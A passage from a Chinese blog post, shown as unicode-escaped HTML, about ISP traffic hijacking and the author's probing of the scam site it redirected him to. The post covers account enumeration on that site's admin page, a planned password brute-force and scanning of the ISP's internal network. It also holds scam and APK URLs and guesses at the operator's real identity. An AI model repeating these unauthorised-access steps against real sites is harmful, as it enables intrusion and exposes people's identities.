666e\u901a\u8def\u7531\u5668\u7684\u5bbd\u5e26\u9650\u901f\u529f\u80fd\u3002\r\n</p>\r\n<p>\r\n\t\u4e86\u89e3\u5b8c\u57fa\u672c\u7684\u539f\u7406\u4e4b\u540e\u54b1\u4eec\u6765\u8bf4\u8bf4\u4e24\u79cd\u591a\u62e8\u65b9\u5f0f\u7684\u533a\u522b\u3002\r\n</p>\r\n<h4>\r\n\t\u5355\u53f7\u591a\u62e8\uff1a\r\n</h4>\r\n<p>\r\n\t\u987e\u540d\u601d\u4e49\u5c31\u662f\u4e00\u4e2a\u8d26\u53f7\u540c\u65f6\u62e8\u591a\u6b21\uff0c\u5c31\u8ddf\u7f51\u7ad9\u7684\u767b\u5f55\u4e00\u4e2a\u9053\u7406\uff0c\u6709\u7684\u7f51\u7ad9\u5141\u8bb8\u4e00\u4e2a\u8d26\u53f7\u53ef\u4ee5\u5728\u591a\u4e2a\u7ec8\u7aef\u540c\u65f6\u767b\u5f55\uff0c\u6709\u7684\u7f51\u7ad9\u5c31\u4e0d\u884c\uff0c\u6700\u5178\u578b\u7684\u5c31\u662fQQ\u7684\u5355\u70b9\u767b\u5f55\uff0c\u53ea\u80fd\u5728\u540c\u4e00\u4e2a\u5730\u65b9\u767b\u9646\u3002\u8fd9\u91cc\u4e4b\u6240\u4ee5\u56de\u51fa\u73b0\u8fd9\u4e2a\u95ee\u9898\u5c31\u662f\u6ca1\u6709\u9650\u5236\u5355\u70b9\u767b\u5f55\uff0c\u9274\u6743\u670d\u52a1\u5668\u5141\u8bb8\u540c\u4e00\u4e2a\u8d26\u53f7\u5728\u591a\u4e2a\u7aef\u53e3\u4e0a\u540c\u65f6\u767b\u5f55\uff0c\u867d\u7136\u8d26\u53f7\u4e00\u6837\uff0c\u4f46\u662f\u767b\u5f55\u5b8c\u7684\u4f1a\u8bdd\uff08session\uff09ID\uff0c\u5374\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u6240\u4ee5\u9274\u6743\u670d\u52a1\u5668\u5c31\u8ba4\u4e3a\u662f\u4e24\u4e2a\u7528\u6237\uff0c\u81ea\u7136\u5c31\u653e\u884c\u4e86\uff0c\u800c\u4e14\u5e26\u5bbd\u90fd\u662f\u8bfb\u53d6\u6570\u636e\u5e93\u7684\u914d\u7f6e\uff0c\u8fd9\u6837\u5c31\u6210\u529f\u7684\u53e0\u52a0\u4e86\u5e26\u5bbd\u3002\r\n</p>\r\n<h4>\r\n\t\u591a\u53f7\u591a\u62e8\uff1a\r\n</h4>\r\n<p>\r\n\t\u591a\u53f7\u591a\u62e8\u7684\u539f\u7406\u8ddf\u5355\u53f7\u591a\u62e8\u7684\u539f\u7406\u5dee\u4e0d\u591a\uff0c\u533a\u522b\u5728\u4e8e\u9274\u6743\u670d\u52a1\u5668\u7684\u9650\u5236\u4e0a\uff0c\u5047\u5982\u9274\u6743\u670d\u52a1\u5668\u4f7f\u7528\u4e86\u5355\u70b9\u767b\u5f55\u5373\u540c\u4e00\u4e2a\u8d26\u53f7\u53ea\u5141\u8bb8\u5728\u4e00\u4e2a\u5730\u65b9\u767b\u5f55\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528\u591a\u53f7\u591a\u62e8\u7684\u65b9\u5f0f\uff0c\u591a\u53f7\u591a\u62e8\u7684\u65b9\u5f0f\u6bd4\u8f83\u96be\u9632\u6b62\uff0c\u4e5f\u662f\u76ee\u524d\u4e3a\u6b62\u5f88\u591a\u5730\u533a\u4f9d\u7136\u5b58\u5728\u7684\u95ee\u9898\uff0c\u539f\u56e0\u662f\u56e0\u4e3a\u8981\u8ba9\u7aef\u53e3\u8d44\u6e90\u5229\u7528\u6700\u5927\u5316\uff0c\u9274\u6743\u670d\u52a1\u5668\u5141\u8bb8\u591a\u4e2a\u7528\u6237\u5728\u540c\u4e00\u4e2a\u7aef\u53e3\u4e0a\u767b\u5f55\uff0c\u5047\u5982\u8fd9\u4e2a\u7aef\u53e3\u662f1000M\u7684\uff0c\u5982\u679c\u53ea\u7ed9\u4e00\u4e2a\u7528\u6237\u7528\u5c31\u592a\u6d6a\u8d39\u4e86\uff0c\u6240\u4ee5\u901a\u5e38\u4e00\u4e2a\u7aef\u53e3\u4f1a\u5212\u5206\u7ed9\u591a\u4e2a\u7528\u6237\u4f7f\u7528\uff0c\u4e5f\u5c31\u4ea7\u751f\u4e86\u591a\u53f7\u591a\u62e8\u7684\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u90a3\u4e48\u6709\u6ca1\u6709\u529e\u6cd5\u89e3\u51b3\u591a\u62e8\u7684\u95ee\u9898\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u80af\u5b9a\u662f\u6709\u7684\uff0c\u5355\u53f7\u591a\u62e8\u7684\u6bd4\u8f83\u7b80\u5355\uff0c\u9650\u5236\u4e0b\u5355\u70b9\u767b\u5f55\u5373\u53ef\uff0c\u591a\u53f7\u591a\u62e8\u7684\u53ef\u80fd\u5c31\u9700\u8981\u5728\u9274\u6743\u670d\u52a1\u5668\u7684\u4e0b\u6e38\u4f7f\u7528\u4ea4\u6362\u673a\u6216\u8005\u8def\u7531\u5668\u8fdb\u884c\u5206\u7528\u6237\u63a7\u5236\uff0c\u5f53\u7136\u8fd9\u6837\u505a\u7684\u6210\u672c\u4e5f\u4f1a\u9ad8\u5f88\u591a\uff0c\u6bd5\u7adf\u9700\u8981\u90e8\u7f72\u975e\u5e38\u591a\u7684\u4e0b\u7ea7\u8def\u7531\u5b9e\u73b0\u7cbe\u786e\u63a7\u5236\u3002\r\n</p>\r\n<p>\r\n\t\u8fd8\u6709\u79cd\u65b9\u5f0f\u5c31\u662f\u5212\u5206vlan\u7684\u65b9\u6cd5\uff0c\u8fd9\u4e5f\u662f\u76ee\u524d\u6700\u597d\u7528\u7684\u65b9\u6cd5\u3002\r\n</p>\r\n<p>\r\n\t\u8bf4\u4e86\u8fd9\u4e48\u591a\u4e0b\u9762\u5c31\u6765\u8bf4\u4e00\u8bf4\u5f53\u524d\u7684\u8fd0\u8425\u5546\u52ab\u6301\u4e0e\u4ee5\u524d\u7684\u8fd0\u8425\u5546\u52ab\u6301\u7684\u5dee\u522b\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u4e0a\u9762\u8bf4\u4e86\u4ee5\u524d\u7684\u62e8\u53f7\u65b9\u5f0f\u4ee5\u53ca\u539f\u7406\uff0c\u7b97\u662f\u4e00\u4e2a\u8fdb\u5316\u7684\u8fc7\u7a0b\uff0c\u4ece\u4e2d\u5fc3\u7edf\u4e00\u7ba1\u7406\u5230\u5206\u533a\u57df\u7ba1\u7406\uff0c\u662f\u4e00\u79cd\u9ad8\u6548\u7684\u65b9\u5f0f\uff0c\u6700\u5f00\u59cb\u505a\u52ab\u6301\u7684\u90a3\u6ce2\u201c\u5185\u9b3c\u201d\uff0c\u662f\u5728\u96c6\u4e2d\u7ba1\u63a7\u7684\u65f6\u4ee3\uff0c\u6240\u4ee5\u8df3\u8f6c\u52ab\u6301\u5f80\u5f80\u4f1a\u5f71\u54cd\u975e\u5e38\u5927\u7684\u4e00\u7247\u533a\u57df\uff0c\u8f7b\u5219\u4e00\u4e2a\u57ce\u5e02\u53d7\u5f71\u54cd\uff0c\u91cd\u5219\u6574\u4e2a\u7701\u4efd\u90fd\u4f1a\u88ab\u52ab\u6301\uff0c\u6240\u4ee5\u98ce\u9669\u5f88\u5927\uff0c\u4f46\u662f\u5229\u6da6\u4e30\u539a\uff0c\u6bd5\u7adf\u624b\u63e1\u6d77\u91cf\u7684\u7528\u6237\u6d41\u91cf\u3002\r\n</p>\r\n<p>\r\n\t\u4e4b\u540e\u8fd0\u8425\u5546\u5212\u5206\u7247\u533a\u7ba1\u7406\u4ee5\u540e\uff0c\u5c31\u6ca1\u6709\u51fa\u73b0\u5927\u89c4\u6a21\u7684\u52ab\u6301\u4e86\uff0c\u8fd0\u8425\u5546\u5185\u90e8\u67e5\u7684\u4e25\uff0c\u56fd\u5bb6\u660e\u4ee4\u7981\u6b62\u8fd9\u79cd\u64cd\u4f5c\uff0c\u6240\u4ee5\u5c31\u50ac\u751f\u4e86\u4e00\u6ce2\u7535\u4fe1\u8fd0\u8425\u5546\u533a\u57df\u6027\u52ab\u6301\u7684\u65b0\u4e1a\u52a1\u3002\u533a\u57df\u7ecf\u7406\u7684\u6743\u529b\u4e0d\u5927\uff0c\u4f46\u662f\u7528\u6237\u7cbe\u51c6\uff0c\u9488\u5bf9\u6027\u975e\u5e38\u7684\u5f3a\uff0c\u6bd4\u5982\u505a\u6574\u5bb9\u7684\u533b\u9662\uff0c\u4ed6\u4eec\u60f3\u505a\u4e00\u6ce2\u5e7f\u544a\u5c31\u53ef\u4ee5\u627e\u533a\u57df\u5185\u5bf9\u4ed6\u4eec\u6bd4\u8f83\u719f\u7684\u4eba\u7fa4\uff0c\u8fd9\u6837\u7684\u6548\u679c\u5c31\u975e\u5e38\u597d\u3002\r\n</p>\r\n<p>\r\n\t\u636e\u6211\u4e86\u89e3\u7684\u884c\u60c5\uff0c\u53bb\u5e74\u6709\u7684\u533a\u57df\u7ecf\u7406\u505a\u533a\u57df\u52ab\u6301\u4e00\u5929\u8fdb\u8d26\u767e\u4e07\uff0c\u4e00\u822c\u63a5\u8fd1\u5e74\u5e95\uff0c\u5404\u79cd\u68cb\u724c\u8d4c\u535a\u7c7bapp\u662f\u7206\u53d1\u671f\uff0c\u6240\u4ee5\u5230\u4e86\u5e74\u5e95\u5c31\u968f\u5904\u53ef\u89c1\u52ab\u6301\uff0c\u4e0d\u6b62\u662f\u5bbd\u5e26\uff0c\u8fde\u624b\u673a\u7528\u6237\u76844G\u7f51\u7edc\u90fd\u4e0d\u653e\u8fc7\u3002\r\n</p>\r\n<p>\r\n\t\u53bb\u5e74\u56fd\u5bb6\u65b0\u51fa\u653f\u7b56\uff0c\u8981\u6c42\u7535\u4fe1\u8fd0\u8425\u5546\u52a0\u5f3a\u7ba1\u7406\uff0c\u5c3d\u5feb\u5efa\u8bbe\u533a\u57df\u6027\u7684\u5c40\u57df\u7f51\uff0c\u4e00\u65b9\u9762\u662f\u56e0\u4e3aIPv4\u7684\u8d44\u6e90\u7d27\u5f20\uff0c\u4e8c\u662f\u53ef\u4ee5\u52a0\u5f3a\u8206\u60c5\u7684\u76d1\u63a7\uff0c\u7d27\u6025\u65f6\u5019\u53ef\u8fdb\u884c\u533a\u57df\u6027\u65ad\u7f51\u64cd\u4f5c\uff0c\u4f46\u4e0d\u4f1a\u9020\u6210\u592a\u5927\u9762\u79ef\u7684\u7f51\u7edc\u762b\u75ea\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u6837\u505a\u7684\u597d\u5904\u662f\u5f88\u591a\u7684\uff0c\u4f46\u662f\u7f3a\u70b9\u4e5f\u662f\u975e\u5e38\u7684\u660e\u663e\uff0c\u6bd4\u5982\u535a\u4e3b\u6211\u66fe\u7ecf\u4f7f\u7528\u7684\u94c1\u901a\u5bbd\u5e26\uff0c\u62e8\u53f7\u4e0a\u7f51\u83b7\u53d6\u7684\u5230IP\u5730\u5740\u662f100\u5f00\u5934\u7684\u5185\u7f51IP\uff0c\u867d\u7136\u4e0a\u7f51\u6ca1\u4ec0\u4e48\u5f71\u54cd\uff0c\u4f46\u662f\u5185\u7f51\u5c45\u7136\u6ca1\u6709\u505aIP\u9694\u79bb\uff0c\u4f7f\u7528ARP\u8f7b\u677e\u55c5\u63a2\u5185\u7f51\uff0c\u8fd8\u53ef\u4ee5\u626b\u63cf\u5185\u7f51\u7684\u5404\u79cd\u673a\u5668\uff0c\u751a\u81f3\u76f4\u63a5\u626b\u63cf\u5230\u5c40\u57df\u7f51\u7684\u5e7f\u544a\u7cfb\u7edf\uff0c\u771f\u662f\u6253\u8138\u6253\u7684\u54cd\u3002\r\n</p>\r\n<p>\r\n\t\u4eca\u5e74\u5e74\u521d\uff0c\u91cd\u65b0\u529e\u7406\u4e86\u767e\u5146\u7684\u7535\u4fe1\u5149\u7ea4\u5bbd\u5e26\uff0c\u62e8\u53f7\u83b7\u53d6\u5230\u7684IP\u4e5f\u662f100\u5f00\u5934\u7684\u5185\u7f51IP\uff0c\u770b\u6765\u6267\u884c\u7684\u901f\u5ea6\u5f88\u5feb\uff0c\u4f46\u662f\u8fdb\u884c\u4e86IP\u9694\u79bb\uff0c\u4e00\u4e9b\u5371\u9669\u7aef\u53e3\u4e5f\u5c01\u4e86\uff0c\u8fd9\u4e00\u70b9\u7535\u4fe1\u6bd4\u94c1\u901a\u505a\u7684\u5f3a\u767e\u500d\u554a\u3002\r\n</p>\r\n<p>\r\n\t\u6700\u5f00\u59cb\u6211\u8bf4\u8fc7\u73b0\u5728\u7684\u60c5\u51b5\u6bd4\u4ee5\u524d\u66f4\u52a0\u590d\u6742\uff0c\u52ab\u6301\u5f88\u96be\u67e5\u51fa\u6765\u7684\u539f\u56e0\u662f\u56e0\u4e3a\u5206\u914d\u4e86\u592a\u591a\u7684\u7247\u533a\u7ba1\u7406\u5458\uff0c\u8fd9\u6837\u7684\u8bdd\uff0c\u7ba1\u7406\u8d77\u6765\u65e0\u7591\u4f1a\u66f4\u52a0\u7684\u7e41\u7410\uff0c\u800c\u90a3\u4e9b\u7247\u533a\u7ba1\u7406\u5458\u52ab\u6301\u7684\u65f6\u95f4\u70b9\u66f4\u52a0\u5bb9\u6613\u63a7\u5236\uff0c\u5bf9\u673a\u5668\u7684\u63a7\u5236\u4e5f\u66f4\u76f4\u63a5\uff0c\u751a\u81f3\u4e0d\u9700\u8981\u8fdb\u884c\u7533\u8bf7\u5c31\u53ef\u4ee5\u76f4\u63a5\u64cd\u4f5c\u673a\u5668\uff0c\u5c31\u7b97\u52ab\u6301\u4e86\u53c8\u6709\u8c01\u80fd\u67e5\u5f97\u51fa\u6765\uff1f\r\n</p>\r\n<p>\r\n\t<span style=\"color:#E53333;\"><strong>----------------------------------\u8bf4\u6b63\u4e8b\u4e13\u7528\u5206\u5272\u7ebf--------------------------------------</strong></span> \r\n</p>\r\n<p>\r\n\t\u524d\u9762\u5e9f\u8bdd\u4e86\u4e00\u5927\u5806\uff0c\u65e0\u975e\u662f\u60f3\u8bf4\u660e\u7535\u4fe1\u8fd0\u8425\u5546\u52ab\u6301\u7684\u6839\u9664\u975e\u5e38\u56f0\u96be\uff0c\u4e5f\u8bf4\u660e\u4e86\u7f51\u901f\u4e0d\u65ad\u63d0\u5347\u7684\u540c\u65f6\u5e26\u6765\u7684\u79cd\u79cd\u9690\u85cf\u95ee\u9898\u3002\u73b0\u5728\u5c31\u8bf4\u8bf4\u6628\u5929\u9047\u5230\u7684\u4e00\u4e2a\u5178\u578b\u7684\u8fd0\u8425\u5546\u52ab\u6301\u6848\u4f8b\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\u8bf4\u4e0b\u6211\u73b0\u5728\u7684\u7f51\u7edc\u73af\u5883\uff0c\u4ee5\u4fbf\u4e8e\u533a\u522b\u662f\u4e0d\u662f\u771f\u6b63\u7684\u8fd0\u8425\u5546\u52ab\u6301\u3002\r\n</p>\r\n<p>\r\n\t\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662f20M\u7535\u4fe1\u5149\u7ea4\u5bbd\u5e26\uff0c\u5149\u732b\u5df2\u7834\u89e3\u7ba1\u7406\u5458\uff0c\u5173\u95ed\u4e86\u8fdc\u7a0b\u63a7\u5236\u7aef\u53e3\uff0cDNS\u7531\u8fd0\u8425\u5546\u5206\u914d\u65e0\u6cd5\u4fee\u6539\uff0c\u786e\u5b9aDNS\u662f\u7535\u4fe1\u7684\uff0c\u4e0b\u9762\u8bf4\u660e\u6211\u9047\u5230\u7684\u60c5\u51b5\u3002\r\n</p>\r\n<p>\r\n\t\u64b8\u4ee3\u7801\u5230\u6df1\u591c\u7684\u535a\u4e3b\u6709\u4e9b\u72af\u56f0\u4e86\uff0c\u5173\u6389\u7535\u8111\u51c6\u5907\u6d17\u6d17\u7761\u89c9\uff0c\u60f3\u5230\u6700\u8fd1\u8981\u4e70\u51b0\u7bb1\u5fae\u6ce2\u7089\u4e4b\u7c7b\u7684\uff0c\u5c31\u6253\u5f00\u624b\u673a\u60f3\u767e\u5ea6\u4e0b\u51b0\u7bb1\u600e\u4e48\u9009\uff0c\u8f93\u5165www.baidu.com\u540e\u6ca1\u6709\u8df3\u8f6c\u5230\u767e\u5ea6\uff0c\u800c\u662f\u8df3\u8f6c\u5230\u4e86\u4e00\u4e2a\u770b\u8d77\u6765\u4e0d\u5f97\u4e86\u7684\u7f51\u7ad9\uff0c\u7f51\u5740\u662f http://im.adwva.cn/yfdc/000.htm?id=8060415&rid=12261.523505021916 \u753b\u98ce\u662f\u8fd9\u6837\u7684</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=539\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/767cd27a15f0fd412ada7d8adf227de0.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-22-42.871z.png - \u5927\u5c0f: 335.46 KB - \u5c3a\u5bf8: 360 x 1305 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"249\" height=\"900\"></a></div>\u5176\u5b9e\u5bf9\u4e8e\u6211\u6765\u8bf4\u8fd9\u79cd\u7f51\u7ad9\u4e00\u770b\u5c31\u662f\u9a97\u4e0b\u8f7d\u9a97\u5b89\u88c5\u9a97\u94b1\u7684\uff0c\u6839\u672c\u5c31\u4e0d\u4f1a\u5728\u610f\uff0c\u4f46\u662f\u95ee\u9898\u6765\u4e86\uff0c\u6211\u8bbf\u95ee\u7684\u662f\u767e\u5ea6\uff0c\u8df3\u51fa\u8fd9\u4e2a\u7f51\u7ad9\u5c31\u4e0d\u5bf9\u4e86\uff0c\u770b\u4e86\u770b\u624b\u673a\uff0c\u4f7f\u7528\u7684\u662fwifi\u3002\u55ef\uff0c\u57fa\u672c\u4e0a\u786e\u5b9a\u662f\u7535\u4fe1\u7684\u52ab\u6301\uff0c\u4e5f\u5c31\u7535\u4fe1\u559c\u6b22\u8fd9\u4e48\u5927\u665a\u4e0a\u7684\u5f39\u8fd9\u4e9b\u8ba9\u4eba\u8840\u8109\u55b7\u5f20\u7684\u56fe\u51fa\u6765\uff0c\u8fd8\u8ba9\u4e0d\u8ba9\u4eba\u597d\u597d\u7761\uff08lu\uff09\u89c9\uff08guan\uff09\u4e86\u3002\r\n\r\n<p>\r\n\t\u6211\u5fc3\u60f3\u65e2\u7136\u6211\u5bf9\u8fd9\u4e9b\u56fe\u7247\u5e76\u4e0d\u611f\u5174\u8da3\uff0c\u8fd8\u662f\u8fd4\u56de\u53bb\u770b\u767e\u5ea6\u5427\uff0c\u7136\u800c\u8fd4\u56de\u53bb\u5374\u8df3\u8f6c\u5230\u4e86\u53e6\u5916\u4e00\u4e2a\u9875\u9762\uff0c\u753b\u98ce\u4e00\u4e0b\u5b50\u53d8\u5f97\u9ad8\u7ea7\u4e86\u8d77\u6765</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=540\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/ebaa3584772d1ce8f18f86647277630e.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-24-20.176z.png - \u5927\u5c0f: 626.23 KB - \u5c3a\u5bf8: 360 x 1635 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"199\" height=\"900\"></a></div>\u4e4d\u4e00\u770b\u8fd8\u6709\u70b9\u6b63\u89c4\uff0c\u4f46\u662f\u201c\u52e4\u5de5\u52a9\u5b66\u201d\u5927\u5b66\u751f\uff0c\u662f\u4e2a\u4ec0\u4e48\u9b3c\uff1f\u540d\u5b57\u76f4\u63a5\u5199\u7684\u7ea6\u70ae\u795e\u56682.0\uff0c\u8fd82.0\u7248\u672c\uff0c\u7b80\u76f4\u5389\u5bb3\u4e86\u3002\u5f80\u4e0b\u770b\u4e86\u4e0b\u56fe\u7247\u90fd\u662f\u7cbe\u9009\u7684\u4e00\u4e9b\u975e\u5e38\u8bf1\u4eba\u7684\u80f8\u90e8\u5199\uff08luo\uff09\u771f\uff08lou\uff09\u7279\u5199\u7167\u7247\uff0c\u770b\u4e0a\u53bb\u90fd\u6709\u5f88\u60f3\u70b9\u7684\u51b2\u52a8\u3002\r\n\r\n<p>\r\n\t\u535a\u4e3b\u6211\u4f5c\u4e3a\u4e00\u4e2a\u5f00\u8f66\u591a\u5e74\u7684\u8d44\u6df1\u8001\u53f8\u673a\u4e00\u773c\u5c31\u8bc6\u7834\u4e86\u8fd9\u79cd\u5c0f\u4f0e\u4fe9\uff0c\u65e0\u975e\u662f\u70b9\u51fb\u4efb\u4f55\u4f4d\u7f6e\u90fd\u4f1a\u8df3\u51fa\u6765\u4e0b\u8f7d\uff0c\u6216\u8005\u662f\u5145\u503c\u7684\u6309\u94ae\u3002\r\n</p>\r\n<p>\r\n\t\u7535\u8111\u4e0a\u8bbf\u95ee\u7f51\u5740\u53d1\u73b0\u53e6\u5916\u4e00\u4e2a\u5730\u5740 http://im.adwva.cn/yfdc/002.htm?id=8060415&rid=11323.496462565896 \uff0c\u6709\u70b9\u4e0d\u592a\u4e00\u6837\uff0c\u4e0d\u8fc7\u5957\u8def\u8fd8\u662f\u4e00\u6837\u7684</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=541\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/24ff5df5ee388771cb6967d3c66042d5.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-27-16.062z.png - \u5927\u5c0f: 196.89 KB - \u5c3a\u5bf8: 360 x 1121 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"290\" height=\"900\"></a></div>\u70b9\u51fb\u4e0b\u8f7dapp\u8df3\u8f6c\u5230\u57df\u540d http://8jlb.com \u8fd9\u91cc\uff08101.37.175.104\uff09\uff0c\u4e00\u770b\u53c8\u662f\u4e00\u4e2a\u60c5\u8272app<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=542\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/92afc59bc8ae6e7c26aed45d9a3c936b.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-28-25.252z.png - \u5927\u5c0f: 273.03 KB - \u5c3a\u5bf8: 360 x 640 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"360\" height=\"640\"></a></div>\u7a0d\u5fae\u7684\u6539\u53d8\u4e0b\u94fe\u63a5\uff0c\u76f4\u63a5\u62a5\u9519\u4e86<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=543\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/29e6e6a2814014ca66f09a6030e5afd3.png\" alt=\"\u5fae\u4fe1\u622a\u56fe_20170903183028.png - \u5927\u5c0f: 63.77 KB - \u5c3a\u5bf8: 935 x 763 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"735\"></a></div>\u7f51\u7ad9\u4f7f\u7528\u7684thinkphp\uff0c\u8fd9\u62a5\u9519\u62a5\u7684\u592a\u968f\u610f\u4e86\uff0c\u8def\u5f84\u4e0a\u5199\u7684 hujing_bazhong_bz \uff0c\u6211\u731c\u662f\u56db\u5ddd\u5df4\u4e2d\u7684\u53ebhujing\u7684\u4eba\uff0c\u4f9d\u636e\u540e\u9762\u4f1a\u8bf4\u3002\r\n\r\n<p>\r\n\t\u6839\u636ethinkphp\u7684\u7279\u6027\uff0c\u540e\u9762\u52a0\u4e0aadmin.php\u5c31\u76f4\u63a5\u8bbf\u95ee\u5230\u540e\u53f0\u7ba1\u7406\u7684\u767b\u5f55\u9875\u9762</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=544\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/59730d2d312a19ddf52516864359e772.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-31-59.279z.png - \u5927\u5c0f: 1.4 MB - \u5c3a\u5bf8: 1280 x 915 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"644\"></a></div>\uff0c\u5c1d\u8bd5admin\u767b\u5f55\u7684\u65f6\u5019\u53d1\u73b0admin\u8d26\u53f7\u662f\u5b58\u5728\u7684<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=545\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/6cd551a1f9f37b25f84063fb835c6dd7.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-33-55.772z.png - \u5927\u5c0f: 29.35 KB - \u5c3a\u5bf8: 1280 x 915 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"644\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=546\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/ffe2b25ce552809abcd0c3b7cc0575e1.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-34-12.340z.png - \u5927\u5c0f: 27.59 KB - \u5c3a\u5bf8: 1280 x 915 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"644\"></a></div>\u6240\u4ee5\u731c\u5bc6\u7801\u5c31\u53ef\u4ee5\u4e86\uff0c\u65f6\u95f4\u95ee\u9898\u8fd9\u91cc\u5c31\u6682\u65f6\u4e0d\u7206\u7834\u4e86\uff0c\u7559\u7740\u540e\u9762\u5904\u7406\u3002\r\n\r\n<p>\r\n\t\u56de\u5230\u524d\u9762\uff0c\u987a\u5229\u4e0b\u8f7d\u5230app\uff08\u5730\u5740\uff1ahttp://sfriend.oss-cn-hangzhou.aliyuncs.com/8j0817/gx2/milove_a415.apk\uff09\uff0c\u7a0d\u5fae\u505a\u4e00\u4e0b\u53cd\u7f16\u8bd1\u53d1\u73b0apk\u4f7f\u7528\u4e86360\u7684\u52a0\u56fa\u529f\u80fd\uff0c\u65e0\u6cd5\u6b63\u5e38\u53cd\u7f16\u8bd1</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=547\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/83c2adc8e5f352d880725fc60e94bf67.png\" alt=\"\u5fae\u4fe1\u622a\u56fe_20170903184736.png - \u5927\u5c0f: 104.72 KB - \u5c3a\u5bf8: 1244 x 972 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"704\"></a></div>\u3002\r\n\r\n<p>\r\n\t\u65e2\u7136apk\u65e0\u6cd5\u53cd\u7f16\u8bd1\uff0c\u90a3\u4e48\u6211\u5e94\u8be5\u5c3d\u91cf\u591a\u7684\u6536\u96c6\u4fe1\u606f\uff0c\u76ee\u524d\u4e3a\u6b62\u6240\u80fd\u62ff\u5230\u7684\u57df\u540d\u6709\u4e0b\u9762\u51e0\u4e2a\uff1a\r\n</p>\r\n<p>\r\n\t8jlb.com\r\n</p>\r\n<p>\r\n\tadwva.cn\r\n</p>\r\n<p>\r\n\tsfriend.oss-cn-hangzhou.aliyuncs.com\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e09\u4e2a\u662f\u963f\u91cc\u4e91\u7684oss\u5b58\u50a8\uff0c\u5c31\u4e0d\u53bb\u67e5\u4e86\uff0c\u67e5\u4e0b\u524d\u4e24\u4e2a\r\n</p>\r\n<p>\r\n\t8jlb.com \u663e\u793a\u7684\u5907\u6848\u4fe1\u606f\u4e3a\u4e2a\u4eba\u5907\u6848\uff0c\u5907\u6848\u65f6\u95f4\u4e3a2014\u5e74\uff0c\u4f46\u662f\u57df\u540d\u6ce8\u518c\u4fe1\u606f\u663e\u793a\u6b64\u57df\u540d\u4e3a2017\u5e743\u67086\u53f7\u6ce8\u518c\uff0c\u8bf4\u660e\u8fd9\u4e2a\u57df\u540d\u662f\u4e70\u7684\u522b\u4eba\u5907\u6848\u597d\u7684\uff0c\u5907\u6848\u5f88\u6709\u53ef\u80fd\u5df2\u7ecf\u8fc7\u671f\u53ea\u662f\u6ca1\u6709\u53ca\u65f6\u64a4\u9500\u800c\u5df2\u3002\u4f7f\u7528whois\u53cd\u67e5\u53d1\u73b0\u6ce8\u518c\u4eba\u662f\u4e71\u5199\u7684\uff0c\u5e76\u6ca1\u6709\u5b9e\u8d28\u6027\u7684\u4fe1\u606f</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=548\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/a92a996ec6b710af99fda4d5e57e58ba.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-52-06.477z.png - \u5927\u5c0f: 26.15 KB - \u5c3a\u5bf8: 884 x 474 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"884\" height=\"474\"></a></div>\r\n\r\n<p>\r\n\tadwva.cn \u663e\u793a\u6ce8\u518c\u4eba\u4e3a<span>\u201c\u9b4f\u7ade\u201d<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=549\" target=\"_blank\"><img 